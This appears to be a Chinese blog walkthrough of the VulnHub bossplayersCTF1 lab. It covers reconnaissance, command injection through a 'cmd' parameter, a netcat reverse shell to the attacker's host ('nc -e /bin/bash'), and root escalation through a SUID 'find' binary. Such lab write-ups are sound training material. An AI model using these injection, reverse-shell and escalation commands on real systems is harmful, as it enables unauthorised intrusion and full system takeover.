VulnHub 靶机系列之bossplayersCTF1

靶机下载链接:

https://www.vulnhub.com/entry/bossplayersctf-1,375/

https://download.vulnhub.com/bossplayers/bossplayersCTF.ova

信息收集:

查看Kali机-本机的IP地址

命令:ifconfig(或使用ip address)

获取到kali机的IP地址是192.168.200.130

 (root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.200.130  netmask 255.255.255.0  broadcast 192.168.200.255
        inet6 fe80::e7e2:e104:ca:839f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:bc:f3:3f  txqueuelen 1000  (Ethernet)
        RX packets 70088  bytes 5246500 (5.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 72317  bytes 4404612 (4.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2016  bytes 84960 (82.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2016  bytes 84960 (82.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

获取靶机IP地址

打开靶机后,获取靶机的MAC地址

发现同网段存活地址(环境是kali机和靶场都在NAT模式下)

命令: arp-scan 192.168.200.0/24

通过比对靶机的MAC地址,得到靶机的IP地址为192.168.200.132

(root㉿kali)-[~]
└─# arp-scan 192.168.200.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:bc:f3:3f, IPv4: 192.168.200.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.200.1   00:50:56:c0:00:08       VMware, Inc.
192.168.200.2   00:50:56:fe:ad:16       VMware, Inc.
192.168.200.132 00:0c:29:61:a0:49       VMware, Inc.
192.168.200.254 00:50:56:e0:6b:0c       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.091 seconds (122.43 hosts/sec). 4 responded

查看bossplayersCTF1靶场安装的服务及操作系统版本

使用命令:nmap -sS -sV -T4 -A -p- 192.168.200.132

─(root㉿kali)-[~]
└─# nmap -sS -sV -T4 -A -p- 192.168.200.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 10:33 EDT
Nmap scan report for 192.168.200.132
Host is up (0.00059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
|   256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_  256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:61:A0:49 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.200.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds

得到有用信息:

①靶机开放的端口有22、80(ssh、http)

②web服务器软件是Apache

访问Web服务

kali虚拟机浏览器访问:http://192.168.200.132

意思是:

bossplayers CTF - 由 Cuong Nguyen 创建

难度等级:[* ] [ ] [ ] [ ] [ ]

描述:大家好!这是一个我创建的非常简单的CTF(Capture The Flag,夺旗赛),专为那些想要初试身手的人设计。请采用系统的方法,并避免陷入陷阱!我希望你们能喜欢这个游戏,但最重要的是,请享受其中的乐趣!

网站:sudocuong.com

但是好像得不到什么有用的信息,后面的这个网站也访问不了;只是作者的对靶场的描述而已;

对Web服务器的目录扫描操作

命令:dirb http://192.168.200.132

──(root㉿kali)-[~]
└─# dirb http://192.168.200.132

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Sep 13 10:35:43 2024
URL_BASE: http://192.168.200.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.200.132/ ----
+ http://192.168.200.132/index.html (CODE:200|SIZE:575)                                            
+ http://192.168.200.132/robots.txt (CODE:200|SIZE:53)                                             
+ http://192.168.200.132/server-status (CODE:403|SIZE:303)                                         
                                                                                                   
-----------------
END_TIME: Fri Sep 13 10:35:46 2024
DOWNLOADED: 4612 - FOUND: 3

这里有用的只有robot.txt可以进行访问:

意思是:

超级秘密密码 - bG9sIHRyeSBoYXJkZXIgYnJvCg==

这个加密的密码好像是base64加密过的!

访问网站:md5在线解密破解,md5解密加密进行破解

好像又是没有用的信息!难道有什么信息被隐藏起来了?

这个时候只能抓包查看前面访问两个网站;

使用BurpSuite抓包

通过查看了访问robot.txt的包

访问网站:md5在线解密破解,md5解密加密进行破解

通过继续破解得到:

得到:应该是可以进行访问的URL路径:

http://192.168.200.132/workinginprogress.php

似乎是一个系统安装或配置过程中的检查列表。

根据观察判断,*号应该是已经完成的任务,

"Test ping command - [ ]" 翻译为:“测试ping命令 - [ ]” (这里的[ ]表示该项任务尚未完成)

"Fix Privilege Escalation - [ ]" 翻译为:“修复权限提升问题 - [ ]” (同样,[ ]表示该任务尚未被解决)

这个脚步文件好像是可以进行执行命令的,原因根据提示是它居然可以进行ping操作!

难道是web漏洞是--命令注入?

漏洞利用--命令注入

修改访问的URL:

http://192.168.200.132/workinginprogress.php?cmd=whoami

这个是对Web服务器发送一个请求,要求执行workinginprogress.php文件,并传递一个名为cmd的参数,其值为whoami;

发现居然可以得到内容!

然后进行传递id命令

传递pwd,查看当前目录

传递uname -a查看内核版本

这里已经相当于shelll了,接下来是反shell

反弹shell

kali机监听端口

nc -lvp 4567

──(root㉿kali)-[~]
└─# nc -lvp 4567

listening on [any] 4567 ...

URL改为http://192.168.200.132/workinginprogress.php?cmd=nc -e /bin/bash 192.168.200.130 4567

命令解析

nc -lvp 4567

nc:这是 Netcat 的命令,Netcat 是一个功能强大的网络工具,用于读写网络连接。它可以用来创建 TCP 或 UDP 流和监听这些流上的端口。

-l:这个选项告诉 Netcat 以监听模式运行,即等待进入的连接,而不是主动向外发起连接。

-v:这个选项表示“verbose”(详细模式),它会使得 Netcat 在执行时输出更多的信息,比如连接的状态和接收到的数据。

-p 4567:这个选项指定了 Netcat 应该监听的端口号,这里是 4567 端口。-p 后面紧跟端口号,中间没有空格。

nc -e /bin/bash 192.168.200.130 4567

使用 Netcat (nc) 工具以反向 shell 的形式连接到 IP 地址为 192.168.200.130 的主机上的 4567 端口

得到shell执行操作发现我们浏览器修改传递参数得到内容一致

┌──(root㉿kali)-[~]
└─# nc -lvp 4567

listening on [any] 4567 ...
192.168.200.132: inverse host lookup failed: Unknown host
connect to [192.168.200.130] from (UNKNOWN) [192.168.200.132] 36024
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
pwd
/var/www/html
uname -a
Linux bossplayers 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux

使用python命令转换成交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bossplayers:/var/www/html$ 

后续经过一系列检测发现很多的文件权限都是root权限,技穷与此!

权限提权

使用命令

find / -perm -u=s -type f 2>/dev/null

www-data@bossplayers:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

find . -exec /bin/bash -p \;

www-data@bossplayers:/var/www/html$ find . -exec /bin/bash -p \;
find . -exec /bin/bash -p \;
bash-5.0#

命令解析

find / -perm -u=s -type f 2>/dev/null

find /:从根目录(/)开始递归查找文件系统中的所有文件和目录。

-perm -u=s:查找那些用户(文件所有者)具有设置用户ID(SUID)权限的文件。设置用户ID权限允许用户在执行该文件时暂时获得文件所有者的权限。这通常用于需要提升权限来执行某些操作的程序。

-type f:仅匹配文件类型为普通文件的项。

2>/dev/null:将错误输出(文件不存在、权限问题等)重定向到/dev/null,即忽略它们。/dev/null是一个特殊的设备文件,写入它的任何数据都会被丢弃(即“黑洞”)

find . -exec /bin/bash -p \;

find .:从当前目录(.)开始递归查找文件系统中的所有文件和目录。

-exec /bin/bash -p \;:-exec选项允许对匹配的文件执行指定的命令。意图是启动一个新的bash会话

\;:这是-exec命令的结束标记,告诉find命令-exec参数到此结束。每个找到的匹配项都会执行-exec指定的命令

寻找flag

bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
root.txt
bash-5.0# cat root.txt  
cat root.txt
Y29uZ3JhdHVsYXRpb25zCg==

破解密文Y29uZ3JhdHVsYXRpb25zCg==

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值